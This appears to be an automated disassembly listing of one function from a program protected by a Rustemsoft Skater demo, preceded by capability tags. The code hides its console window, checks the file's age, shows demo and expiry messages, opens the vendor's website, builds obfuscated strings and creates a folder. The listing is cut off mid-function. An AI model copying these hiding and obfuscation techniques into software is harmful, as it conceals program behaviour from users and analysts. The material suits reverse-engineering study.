Function at 0x401390
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Get common file path
Hide graphical window
Parse pe header
Resolve function by parsing pe exports
Resolve path using msvcrt
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x410522
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x6f1c
call fcn.0040d960
mov eax, dword [0x415018]
xor eax, esp
mov dword [esp + 0x6f18], eax
push ebx
push esi
push edi
mov eax, dword [0x415018]
xor eax, esp
push eax
lea eax, [esp + 0x6f30]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
xor ebx, ebx
push ebx
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x4000
mov dword [0x4155bc], 0x16e54
call fcn.0040cfc6
mov dword [esp + 0x8c], eax
add esp, 4
xor edi, edi
mov eax, 0x41124a
lea esi, [esp + 0x8a8]
mov dword [esp + 0x8bc], 0xf
mov dword [esp + 0x8b8], ebx
mov byte [esp + 0x8a8], bl
call fcn.0040bf10
cmp dword [ebp + 8], 1
mov dword [esp + 0x6f38], ebx
jle 0x401590
mov eax, 1
mov dword [esp + 0x1c], eax
cmp dword [ebp + 8], eax
jle 0x401566
lea esp, [esp]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
mov esi, dword [ecx + edx*4]
mov ecx, esi
mov dword [esp + 0x99c], 0xf
mov dword [esp + 0x998], ebx
mov byte [esp + 0x988], bl
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x401490
sub ecx, edx
mov eax, esi
mov edi, ecx
lea esi, [esp + 0x988]
call fcn.0040bf10
push 1
mov eax, esi
push eax
call fcn.0040b840
cmp dword [esp + 0x99c], 0x10
mov edi, eax
jb 0x4014d0
mov ecx, dword [esp + 0x988]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0x99c], 0xf
mov dword [esp + 0x998], ebx
mov byte [esp + 0x988], bl
cmp edi, 0xffffffff
je 0x401501
push 1
mov eax, 0x411250
lea ecx, [esp + 0x8ac]
call fcn.0040be30
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
mov esi, dword [edx + eax*4]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x401511
sub ecx, edx
push ecx
mov eax, esi
lea ecx, [esp + 0x8ac]
call fcn.0040be30
cmp edi, 0xffffffff
je 0x401541
push 1
mov eax, 0x411250
lea ecx, [esp + 0x8ac]
call fcn.0040be30
push 1
mov eax, 0x41124c
lea ecx, [esp + 0x8ac]
call fcn.0040be30
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
cmp eax, dword [ebp + 8]
jl 0x401460
cmp dword [esp + 0x8bc], 0x10
mov eax, dword [esp + 0x8a8]
jae 0x40157e
lea eax, [esp + 0x8a8]
mov ecx, dword [esp + 0x88]
push 0x2000
push ecx
push 0xffffffffffffffff
push eax
jmp 0x4015a4
mov edx, dword [esp + 0x88]
push 0x2000
push edx
push 0xffffffffffffffff
push 0x41124a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.MSVCR100.dll__get_pgmptr]
mov ecx, dword [esp + 0x74]
add esp, 4
push 0x5c
push ecx
call dword [sym.imp.MSVCR100.dll_strrchr]
mov edi, eax
add esp, 8
mov dword [esp + 0x14], edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4015d3
sub eax, edx
lea esi, [eax - 4]
push esi
call fcn.0040cfc6
add esp, 4
xor ecx, ecx
cmp esi, ebx
jle 0x4015fc
mov edi, edi
mov dl, byte [edi + ecx + 1]
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x4015f0
mov byte [esi + eax], bl
mov ecx, eax
mov dword [esp + 0xa28], 0xf
mov dword [esp + 0xa24], ebx
mov byte [esp + 0xa14], bl
lea esi, [ecx + 1]
lea ecx, [ecx]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x401620
sub ecx, esi
mov edi, ecx
lea esi, [esp + 0xa14]
call fcn.0040bf10
mov ecx, esi
lea eax, [esp + 0x8c4]
mov byte [esp + 0x6f38], 1
call fcn.0040c8a0
mov byte [esp + 0x6f38], 3
cmp dword [esp + 0xa28], 0x10
jb 0x401670
mov eax, dword [esp + 0xa14]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp dword [esp + 0x8d8], 0x10
mov dword [esp + 0xa28], 0xf
mov dword [esp + 0xa24], ebx
mov byte [esp + 0xa14], bl
jb 0x4016a2
mov ecx, dword [esp + 0x8c4]
mov dword [0x4155c0], ecx
jmp 0x4016af
lea edx, [esp + 0x8c4]
mov dword [0x4155c0], edx
mov edx, dword [esp + 0x70]
mov esi, edx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
cmp al, bl
jne 0x4016b8
mov eax, dword [esp + 0x14]
sub esi, ecx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4016c8
sub eax, edi
sub esi, eax
inc esi
push esi
mov dword [esp + 0x18], edx
call fcn.0040cfc6
add esp, 4
cmp esi, ebx
jle 0x4016fd
mov ecx, dword [esp + 0x14]
mov edi, eax
sub ecx, eax
mov dword [esp + 0x14], esi
mov dl, byte [ecx + edi]
mov byte [edi], dl
inc edi
dec dword [esp + 0x14]
jne 0x4016f1
push 0x4000
mov byte [eax + esi], bl
mov dword [0x4155c4], eax
call fcn.0040cfc6
add esp, 4
push 0x2000
mov edi, eax
mov eax, dword [0x4155c0]
push edi
push 0xffffffffffffffff
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [esp + 0x70]
push 0x4000
mov dword [esp + 0x18], ecx
call fcn.0040cfc6
mov edx, dword [esp + 0x18]
add esp, 4
push 0x2000
mov esi, eax
push esi
push 0xffffffffffffffff
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push ebx
push 0x2000000
push 3
push ebx
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
lea eax, [esp + 0xdc]
push eax
lea ecx, [esp + 0xe8]
push ecx
lea edx, [esp + 0xcc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xc8]
mov esi, dword [esp + 0xc4]
lea ecx, [esp + 0xf1c]
push ecx
mov dword [esp + 0xb4], eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea edx, [esp + 0xcc]
push edx
lea eax, [esp + 0xf20]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov ecx, dword [esp + 0xcc]
mov edx, dword [esp + 0xd0]
mov dword [esp + 0x14], ecx
lea ecx, [esp + 0x14]
mov eax, 0x55555556
mov dword [esp + 0x18], edx
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
sub ecx, eax
jne 0x401810
push 5
push ebx
push ebx
push str.http:__www.rustemsoft.com_SkaterTOTAL.asp
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x401832
lea edx, [esp + 0x14]
and edx, 0x80000001
jns 0x401821
dec edx
or edx, 0xfffffffe
inc edx
jne 0x401832
push 0x40
push edi
push str.This_executable_has_been_code_protected_against_reverse_engineering_by_using_Rustemsoft_Skater_TOTAL_Demo_version._nPlease_visit_Rustemsoft.com
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [esp + 0xb0]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
cmp ecx, edx
ja 0x401855
jb 0x40184b
cmp esi, eax
jae 0x401855
sub eax, esi
sbb edx, ecx
mov esi, eax
mov ecx, edx
jmp 0x401859
sub esi, eax
sbb ecx, edx
cmp ecx, 0x1792
jb 0x4018dc
ja 0x40186b
cmp esi, 0xf8648000
jbe 0x4018dc
mov esi, 0x10
push esi
push edi
push str.This_executable_has_been_created_more_than_one_month_ago__nPlease_visit_Rustemsoft.com
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
push 5
push ebx
push ebx
push str.http:__www.rustemsoft.com_SkaterTOTAL.asp
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp dword [esp + 0x8d8], esi
jb 0x4018a9
mov eax, dword [esp + 0x8c4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0x8d8], 0xf
mov dword [esp + 0x8d4], ebx
mov byte [esp + 0x8c4], bl
cmp dword [esp + 0x8bc], esi
jb 0x40a7b7
mov ecx, dword [esp + 0x8a8]
push ecx
jmp 0x40a7ae
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [esp + 0x6d1c]
push edx
push ebx
push ebx
push 0x21
push ebx
call esi
cmp eax, ebx
jge 0x401905
lea eax, [esp + 0x6d1c]
push eax
push 1
push ebx
push 0x21
push ebx
call esi
lea eax, [esp + 0x6d1c]
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401910
sub eax, edx
sar eax, 1
inc eax
push eax
lea ecx, [esp + 0x6d20]
push ecx
lea edx, [esp + 0x6c1c]
push edx
call dword [sym.imp.MSVCR100.dll_wcstombs]
add esp, 0xc
lea eax, [esp + 0x6c14]
push 0x5c
push eax
call dword [sym.imp.MSVCR100.dll_strrchr]
lea ecx, [esp + 0x6c1c]
add esp, 8
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x401957
sub ecx, esi
mov esi, ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401965
sub eax, edx
sub esi, eax
inc esi
push esi
call fcn.0040cfc6
add esp, 4
mov dword [esp + 0x94], eax
cmp esi, ebx
jle 0x401999
lea edi, [esp + 0x6c14]
sub edi, eax
mov ecx, esi
mov dl, byte [edi + eax]
mov byte [eax], dl
inc eax
dec ecx
jne 0x401990
mov eax, dword [esp + 0x94]
mov byte [eax + esi], bl
mov edi, 1
mov eax, str.SecurityFE10D_354698B27.afdbl
lea esi, [esp + 0xf2c]
mov dword [esp + 0xf40], 0xf
mov dword [esp + 0xf3c], ebx
mov byte [esp + 0xf2c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 4
mov eax, 0x411480
lea esi, [esp + 0xf48]
mov dword [esp + 0xf5c], 0xf
mov dword [esp + 0xf58], ebx
mov byte [esp + 0xf48], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 5
mov eax, 0x411484
lea esi, [esp + 0xf64]
mov dword [esp + 0xf78], 0xf
mov dword [esp + 0xf74], ebx
mov byte [esp + 0xf64], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 6
mov eax, 0x411488
lea esi, [esp + 0xf80]
mov dword [esp + 0xf94], 0xf
mov dword [esp + 0xf90], ebx
mov byte [esp + 0xf80], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 7
mov eax, 0x41148c
lea esi, [esp + 0xf9c]
mov dword [esp + 0xfb0], 0xf
mov dword [esp + 0xfac], ebx
mov byte [esp + 0xf9c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 8
mov eax, 0x411490
lea esi, [esp + 0xfb8]
mov dword [esp + 0xfcc], 0xf
mov dword [esp + 0xfc8], ebx
mov byte [esp + 0xfb8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 9
mov eax, 0x411494
lea esi, [esp + 0xfd4]
mov dword [esp + 0xfe8], 0xf
mov dword [esp + 0xfe4], ebx
mov byte [esp + 0xfd4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa
mov eax, 0x411498
lea esi, [esp + 0xff0]
mov dword [esp + 0x1004], 0xf
mov dword [esp + 0x1000], ebx
mov byte [esp + 0xff0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb
mov eax, 0x41149c
lea esi, [esp + 0x100c]
mov dword [esp + 0x1020], 0xf
mov dword [esp + 0x101c], ebx
mov byte [esp + 0x100c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xc
mov eax, dword [esp + 0x94]
mov dword [esp + 0x884], 0xf
mov dword [esp + 0x880], ebx
mov byte [esp + 0x870], bl
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401b90
sub eax, esi
mov edi, eax
mov eax, dword [esp + 0x94]
lea esi, [esp + 0x870]
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xd
mov edx, dword [esp + 0x880]
lea ecx, [esp + 0xf2c]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x1c], ecx
lea esp, [esp]
mov eax, dword [ecx + 0x10]
or edi, 0xffffffff
cmp eax, 0xffffffff
jae 0x401bdd
mov edi, eax
or eax, 0xffffffff
sub eax, edx
cmp eax, edi
jbe 0x401cd8
cmp edi, ebx
jbe 0x401ca8
lea esi, [edx + edi]
cmp esi, 0xfffffffe
ja 0x401cd8
mov eax, dword [esp + 0x884]
cmp eax, esi
jae 0x401c1e
push edx
push esi
lea ecx, [esp + 0x878]
push ecx
call fcn.0040c500
mov ecx, dword [esp + 0x1c]
jmp 0x401c3e
cmp esi, ebx
jne 0x401c47
cmp eax, 0x10
mov eax, dword [esp + 0x870]
mov dword [esp + 0x880], ebx
jae 0x401c3c
lea eax, [esp + 0x870]
mov byte [eax], bl
mov edx, dword [esp + 0x880]
cmp esi, ebx
seta al
cmp al, bl
je 0x401ca8
cmp dword [ecx + 0x14], 0x10
jb 0x401c56
mov ecx, dword [ecx]
cmp dword [esp + 0x884], 0x10
mov eax, dword [esp + 0x870]
jae 0x401c6e
lea eax, [esp + 0x870]
push edi
add eax, edx
push ecx
push eax
call sub.MSVCR100.dll_memcpy
mov eax, dword [esp + 0x87c]
add esp, 0xc
cmp dword [esp + 0x884], 0x10
mov dword [esp + 0x880], esi
jae 0x401c9a
lea eax, [esp + 0x870]
mov ecx, dword [esp + 0x1c]
mov byte [eax + esi], bl
mov edx, dword [esp + 0x880]
mov eax, dword [esp + 0x14]
inc eax
add ecx, 0x1c
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ecx
cmp eax, 9
jl 0x401bd0
cmp dword [esp + 0x884], 0x10
jb 0x401ce3
mov edx, dword [esp + 0x870]
mov dword [esp + 0x20], edx
jmp 0x401cee
push 0x4115a8
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [esp + 0x870]
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x20]
push ecx
call dword [sym.imp.MSVCR100.dll__mkdir]
add esp, 4
mov edi, 1
mov eax, 0x4114a0
lea esi, [esp + 0x102c]
mov dword [esp + 0x1040], 0xf
mov dword [esp + 0x103c], ebx
mov byte [esp + 0x102c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xe
mov eax, 0x4114a4
lea esi, [esp + 0x1048]
mov dword [esp + 0x105c], 0xf
mov dword [esp + 0x1058], ebx
mov byte [esp + 0x1048], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xf
mov eax, 0x4114a8
lea esi, [esp + 0x1064]
mov dword [esp + 0x1078], 0xf
mov dword [esp + 0x1074], ebx
mov byte [esp + 0x1064], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x10
mov eax, 0x4114a4
lea esi, [esp + 0x1080]
mov dword [esp + 0x1094], 0xf
mov dword [esp + 0x1090], ebx
mov byte [esp + 0x1080], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x11
mov eax, 0x4114ac
lea esi, [esp + 0x109c]
mov dword [esp + 0x10b0], 0xf
mov dword [esp + 0x10ac], ebx
mov byte [esp + 0x109c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x12
mov eax, 0x4114b0
lea esi, [esp + 0x10b8]
mov dword [esp + 0x10cc], 0xf
mov dword [esp + 0x10c8], ebx
mov byte [esp + 0x10b8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x13
mov eax, 0x4114b4
lea esi, [esp + 0x10d4]
mov dword [esp + 0x10e8], 0xf
mov dword [esp + 0x10e4], ebx
mov byte [esp + 0x10d4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x14
mov eax, 0x4114a8
lea esi, [esp + 0x10f0]
mov dword [esp + 0x1104], 0xf
mov dword [esp + 0x1100], ebx
mov byte [esp + 0x10f0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x15
mov eax, 0x4114b4
lea esi, [esp + 0x110c]
mov dword [esp + 0x1120], 0xf
mov dword [esp + 0x111c], ebx
mov byte [esp + 0x110c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x16
mov dword [esp + 0x113c], 0xf
mov dword [esp + 0x1138], ebx
mov byte [esp + 0x1128], bl
mov eax, 0x4114b8
lea esi, [esp + 0x1128]
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x17
mov eax, 0x4114bc
lea esi, [esp + 0x1144]
mov dword [esp + 0x1158], 0xf
mov dword [esp + 0x1154], ebx
mov byte [esp + 0x1144], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x18
mov eax, 0x4114c0
lea esi, [esp + 0x1160]
mov dword [esp + 0x1174], 0xf
mov dword [esp + 0x1170], ebx
mov byte [esp + 0x1160], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x19
mov eax, 0x4114c0
lea esi, [esp + 0x117c]
mov dword [esp + 0x1190], 0xf
mov dword [esp + 0x118c], ebx
mov byte [esp + 0x117c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x1a
mov eax, 0x4114a8
lea esi, [esp + 0x1198]
mov dword [esp + 0x11ac], 0xf
mov dword [esp + 0x11a8], ebx
mov byte [esp + 0x1198], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x1b
mov eax, 0x4114b8
lea esi, [esp + 0x11b4]
mov dword [esp + 0x11c8], 0xf
mov dword [esp + 0x11c4], ebx
mov byte [esp + 0x11b4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x1c
mov eax, 0x4114c4
lea esi, [esp + 0x11d0]
mov dword [esp + 0x11e4], 0xf
mov dword [esp + 0x11e0], ebx
mov byte [esp + 0x11d0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x1d
mov eax, 0x411480
lea esi, [esp + 0x11ec]
mov dword [esp + 0x1200], 0xf
mov dword [esp + 0x11fc], ebx
mov byte [esp + 0x11ec], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x1e
mov eax, 0x4114b0
lea esi, [esp + 0x1208]
mov dword [esp + 0x121c], 0xf
mov dword [esp + 0x1218], ebx
mov byte [esp + 0x1208], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x1f
mov eax, 0x4114c8
lea esi, [esp + 0x1224]
mov dword [esp + 0x1238], 0xf
mov dword [esp + 0x1234], ebx
mov byte [esp + 0x1224], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x20
mov dword [esp + 0x1254], 0xf
mov dword [esp + 0x1250], ebx
mov byte [esp + 0x1240], bl
mov eax, 0x4114b8
lea esi, [esp + 0x1240]
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x21
mov eax, 0x4114cc
lea esi, [esp + 0x125c]
mov dword [esp + 0x1270], 0xf
mov dword [esp + 0x126c], ebx
mov byte [esp + 0x125c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x22
mov eax, 0x4114bc
lea esi, [esp + 0x1278]
mov dword [esp + 0x128c], 0xf
mov dword [esp + 0x1288], ebx
mov byte [esp + 0x1278], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x23
mov eax, 0x4114d0
lea esi, [esp + 0x1294]
mov dword [esp + 0x12a8], 0xf
mov dword [esp + 0x12a4], ebx
mov byte [esp + 0x1294], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x24
mov eax, 0x4114ac
lea esi, [esp + 0x12b0]
mov dword [esp + 0x12c4], 0xf
mov dword [esp + 0x12c0], ebx
mov byte [esp + 0x12b0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x25
mov eax, 0x4114b8
lea esi, [esp + 0x12cc]
mov dword [esp + 0x12e0], 0xf
mov dword [esp + 0x12dc], ebx
mov byte [esp + 0x12cc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x26
mov eax, 0x4114cc
lea esi, [esp + 0x12e8]
mov dword [esp + 0x12fc], 0xf
mov dword [esp + 0x12f8], ebx
mov byte [esp + 0x12e8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x27
mov eax, 0x4114d4
lea esi, [esp + 0x1304]
mov dword [esp + 0x1318], 0xf
mov dword [esp + 0x1314], ebx
mov byte [esp + 0x1304], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x28
mov eax, 0x4114d8
lea esi, [esp + 0x1320]
mov dword [esp + 0x1334], 0xf
mov dword [esp + 0x1330], ebx
mov byte [esp + 0x1320], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x29
mov eax, 0x4114c4
lea esi, [esp + 0x133c]
mov dword [esp + 0x1350], 0xf
mov dword [esp + 0x134c], ebx
mov byte [esp + 0x133c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x2a
mov eax, 0x4114b4
lea esi, [esp + 0x1358]
mov dword [esp + 0x136c], 0xf
mov dword [esp + 0x1368], ebx
mov byte [esp + 0x1358], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x2b
mov eax, 0x4114dc
lea esi, [esp + 0x1374]
mov dword [esp + 0x1388], 0xf
mov dword [esp + 0x1384], ebx
mov byte [esp + 0x1374], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x2c
mov eax, 0x4114a4
lea esi, [esp + 0x1390]
mov dword [esp + 0x13a4], 0xf
mov dword [esp + 0x13a0], ebx
mov byte [esp + 0x1390], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x2d
mov eax, 0x4114dc
lea esi, [esp + 0x13ac]
mov dword [esp + 0x13c0], 0xf
mov dword [esp + 0x13bc], ebx
mov byte [esp + 0x13ac], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x2e
mov eax, 0x411248
lea esi, [esp + 0x13c8]
mov dword [esp + 0x13dc], 0xf
mov dword [esp + 0x13d8], ebx
mov byte [esp + 0x13c8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x2f
mov eax, 0x411248
lea esi, [esp + 0x13e4]
mov dword [esp + 0x13f8], 0xf
mov dword [esp + 0x13f4], ebx
mov byte [esp + 0x13e4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x30
mov eax, 0x4114d0
lea esi, [esp + 0x1400]
mov dword [esp + 0x1414], 0xf
mov dword [esp + 0x1410], ebx
mov byte [esp + 0x1400], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x31
mov eax, 0x4114d0
lea esi, [esp + 0x141c]
mov dword [esp + 0x1430], 0xf
mov dword [esp + 0x142c], ebx
mov byte [esp + 0x141c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x32
mov eax, 0x4114e0
lea esi, [esp + 0x1438]
mov dword [esp + 0x144c], 0xf
mov dword [esp + 0x1448], ebx
mov byte [esp + 0x1438], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x33
mov eax, 0x4114e4
lea esi, [esp + 0x1454]
mov dword [esp + 0x1468], 0xf
mov dword [esp + 0x1464], ebx
mov byte [esp + 0x1454], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x34
mov eax, 0x4114a0
lea esi, [esp + 0x1470]
mov dword [esp + 0x1484], 0xf
mov dword [esp + 0x1480], ebx
mov byte [esp + 0x1470], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x35
mov eax, 0x4114d8
lea esi, [esp + 0x148c]
mov dword [esp + 0x14a0], 0xf
mov dword [esp + 0x149c], ebx
mov byte [esp + 0x148c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x36
mov eax, 0x4114c0
lea esi, [esp + 0x14a8]
mov dword [esp + 0x14bc], 0xf
mov dword [esp + 0x14b8], ebx
mov byte [esp + 0x14a8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x37
mov eax, 0x4114c0
lea esi, [esp + 0x14c4]
mov dword [esp + 0x14d8], 0xf
mov dword [esp + 0x14d4], ebx
mov byte [esp + 0x14c4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x38
mov eax, 0x4114cc
lea esi, [esp + 0x14e0]
mov dword [esp + 0x14f4], 0xf
mov dword [esp + 0x14f0], ebx
mov byte [esp + 0x14e0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x39
mov eax, 0x4114e8
lea esi, [esp + 0x14fc]
mov dword [esp + 0x1510], 0xf
mov dword [esp + 0x150c], ebx
mov byte [esp + 0x14fc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x3a
mov eax, 0x4114ac
lea esi, [esp + 0x1518]
mov dword [esp + 0x152c], 0xf
mov dword [esp + 0x1528], ebx
mov byte [esp + 0x1518], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x3b
mov eax, 0x4114ec
lea esi, [esp + 0x1534]
mov dword [esp + 0x1548], 0xf
mov dword [esp + 0x1544], ebx
mov byte [esp + 0x1534], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x3c
mov eax, 0x4114d8
lea esi, [esp + 0x1550]
mov dword [esp + 0x1564], 0xf
mov dword [esp + 0x1560], ebx
mov byte [esp + 0x1550], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x3d
mov eax, 0x4114b8
lea esi, [esp + 0x156c]
mov dword [esp + 0x1580], 0xf
mov dword [esp + 0x157c], ebx
mov byte [esp + 0x156c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x3e
mov eax, 0x4114d8
lea esi, [esp + 0x1588]
mov dword [esp + 0x159c], 0xf
mov dword [esp + 0x1598], ebx
mov byte [esp + 0x1588], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x3f
mov eax, 0x4114ac
lea esi, [esp + 0x15a4]
mov dword [esp + 0x15b8], 0xf
mov dword [esp + 0x15b4], ebx
mov byte [esp + 0x15a4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x40
mov eax, 0x4114f0
lea esi, [esp + 0x15c0]
mov dword [esp + 0x15d4], 0xf
mov dword [esp + 0x15d0], ebx
mov byte [esp + 0x15c0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x41
mov eax, 0x4114dc
lea esi, [esp + 0x15dc]
mov dword [esp + 0x15f0], 0xf
mov dword [esp + 0x15ec], ebx
mov byte [esp + 0x15dc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x42
mov eax, 0x4114b8
lea esi, [esp + 0x15f8]
mov dword [esp + 0x160c], 0xf
mov dword [esp + 0x1608], ebx
mov byte [esp + 0x15f8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x43
mov eax, 0x4114ac
lea esi, [esp + 0x1614]
mov dword [esp + 0x1628], 0xf
mov dword [esp + 0x1624], ebx
mov byte [esp + 0x1614], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x44
mov eax, 0x4114ac
lea esi, [esp + 0x1630]
mov dword [esp + 0x1644], 0xf
mov dword [esp + 0x1640], ebx
mov byte [esp + 0x1630], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x45
mov eax, 0x4114f0
lea esi, [esp + 0x164c]
mov dword [esp + 0x1660], 0xf
mov dword [esp + 0x165c], ebx
mov byte [esp + 0x164c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x46
mov eax, 0x4114c4
lea esi, [esp + 0x1668]
mov dword [esp + 0x167c], 0xf
mov dword [esp + 0x1678], ebx
mov byte [esp + 0x1668], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x47
mov eax, 0x4114b8
lea esi, [esp + 0x1684]
mov dword [esp + 0x1698], 0xf
mov dword [esp + 0x1694], ebx
mov byte [esp + 0x1684], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x48
mov eax, 0x4114f4
lea esi, [esp + 0x16a0]
mov dword [esp + 0x16b4], 0xf
mov dword [esp + 0x16b0], ebx
mov byte [esp + 0x16a0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x49
mov dword [esp + 0x16d0], 0xf
mov eax, 0x4114f0
lea esi, [esp + 0x16bc]
mov dword [esp + 0x16cc], ebx
mov byte [esp + 0x16bc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x4a
mov eax, 0x4114e8
lea esi, [esp + 0x16d8]
mov dword [esp + 0x16ec], 0xf
mov dword [esp + 0x16e8], ebx
mov byte [esp + 0x16d8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x4b
mov eax, 0x4114ec
lea esi, [esp + 0x16f4]
mov dword [esp + 0x1708], 0xf
mov dword [esp + 0x1704], ebx
mov byte [esp + 0x16f4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x4c
mov eax, 0x4114b8
lea esi, [esp + 0x1710]
mov dword [esp + 0x1724], 0xf
mov dword [esp + 0x1720], ebx
